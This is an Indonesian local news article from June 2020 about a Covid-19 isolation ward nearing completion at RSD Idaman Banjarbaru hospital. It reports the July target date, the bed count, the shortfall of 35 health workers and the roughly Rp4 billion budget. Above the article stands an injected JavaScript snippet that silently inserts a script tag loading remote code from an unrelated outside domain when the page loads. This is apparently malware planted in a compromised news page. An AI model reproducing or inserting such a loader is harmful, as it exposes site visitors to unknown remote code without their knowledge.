(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kota Banjarbaru

Target 9 Juli Ruang Isolasi Berfungsi, RSD Idaman Banjarbaru Perlu Tambahan 35 Nakes

KANALKALIMANTAN.COM, BANJARBARU – Pembangunan ruang isolasi di Rumah Sakit Daerah (RSD) Idaman Banjarbaru mendekati tahap penyelesaian, sebelum difungsikan sebagai tempat pasien Covid-19 menjalani perawatan.

Sebagaimana diketahui, RSD Idaman Banjarbaru merupakan salah satu fasilitas kesehatan yang ditunjuk Kementrian Kesehatan (Kemenkes) RI sebagai tempat rujukan pasien Covid-19. Maka tak heran, ketersedian ruang isolasi menjadi prioritas utama pihak rumah sakit.

Direktur Utama RSD Idaman Banjarbaru dr Hj Endah Labati Silapurna, melalui Kabag Tata Usaha Muhammad Firmansyah mengungkapkan, ruang isolasi tersebut ditargetkan akan berfungsi pada Juli mendatang. Selanjutnya, pasien terpapar Covid-19 yang selama ini dirawat di ruang biasa, nantinya akan dipindahkan ke ruang isolasi tersebut.

“Insyaallah, 9 Juli sudah difungsikan. Nanti pasien Covid-19 yang kita rawat di ruang Kaswari dan Murai akan dipindahkan ke ruang isolasi, tapi secara bertahap,” katanya, Selasa (23/6/2020) siang.

Dari pantauan Kanalkalimantan.com, ruang isolasi tersebut berada di lantai dua gedung RSD Idaman Banjarbaru. Sedikitnya ada 29 tempat tidur yang disiapkan untuk para pasien di ruang isolasi ini. Untuk satu kamar diisi dengan jumlah tempat tidur bervariatif, ada yang 1 tempat tidur, ada 2 tempat tidur, bahkan ada 6 tempat tidur.

Pansus Penanganan Covid-19 DPRD Banjarbaru meninjau langsung proses pembangunan ruang isolasi di RSD Idaman Banjarbaru. foto: rico

Diakui Firman -sapaan akrabnya, sampai saat ini pihaknya masih kekurangan Sumber Daya Manusia (SDM) untuk memaksimalkan pelayanan di ruang isolasi tersebut. Adapun total SDM yang dibutuhkan mencapai 60 orang.

“Sebenarnya kita sudah dapat tambahan 25 orang relawan. Tapi masih butuh 35 orang lagi dan saat ini kita sedang proses rekrutmen. 60 orang ini akan di tempatkan di ruang isolasi, dengan jam kerja shift. Selama berkerja diwajibkan menggunakan APD, empat jam paling lama,” tuturnya.

Jika ruang isolasi ini sudah difungsikan, maka area lantai 2 gedung RSD Idaman Banjarbaru tak boleh lagi dilewati pengunjung. Walaupun, sebenarnya kunjungan di RSD Idaman Banjarbaru sendiri telah dibatasi, contohnya jam besuk yang ditiadakan.

Sebelumnya, Panitia Khusus (Pansus) Penanganan Covid-19 DPRD Banjarbaru meninjau langsung proses pembangunan ruang isolasi di RSD Idaman Banjarbaru.

Dikatakan Sekretaris Pansus Penanganan Covid-19, Emi Lasari, pihaknya ingin memastikan penyelesaian ruang isolasi berjalan sesuai rencana karena kebutuhan sangat mendesak, mengingat angka sebaran kasus Covid-19 terus bertambah.

“Kita ingin ruang isolasi ini segera bisa difungsikan, karena pasien Covid-19 ditampung di ruang Murai dan Kaswari, dimana bukan ruangan khusus isolasi pasien yang terpapar virus. Ditambah lagi, rumah sakit di Banjarmasin sebagai rujukan Covid-19, kondisinya juga penuh,” terangnya.

Pembanguanan ruang isolasi di RSD Idaman Banjarbaru telah berjalan dua bulan terakhir. Ruang isolasi ini dibangun dengan anggaran sekitar Rp4 miliar. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie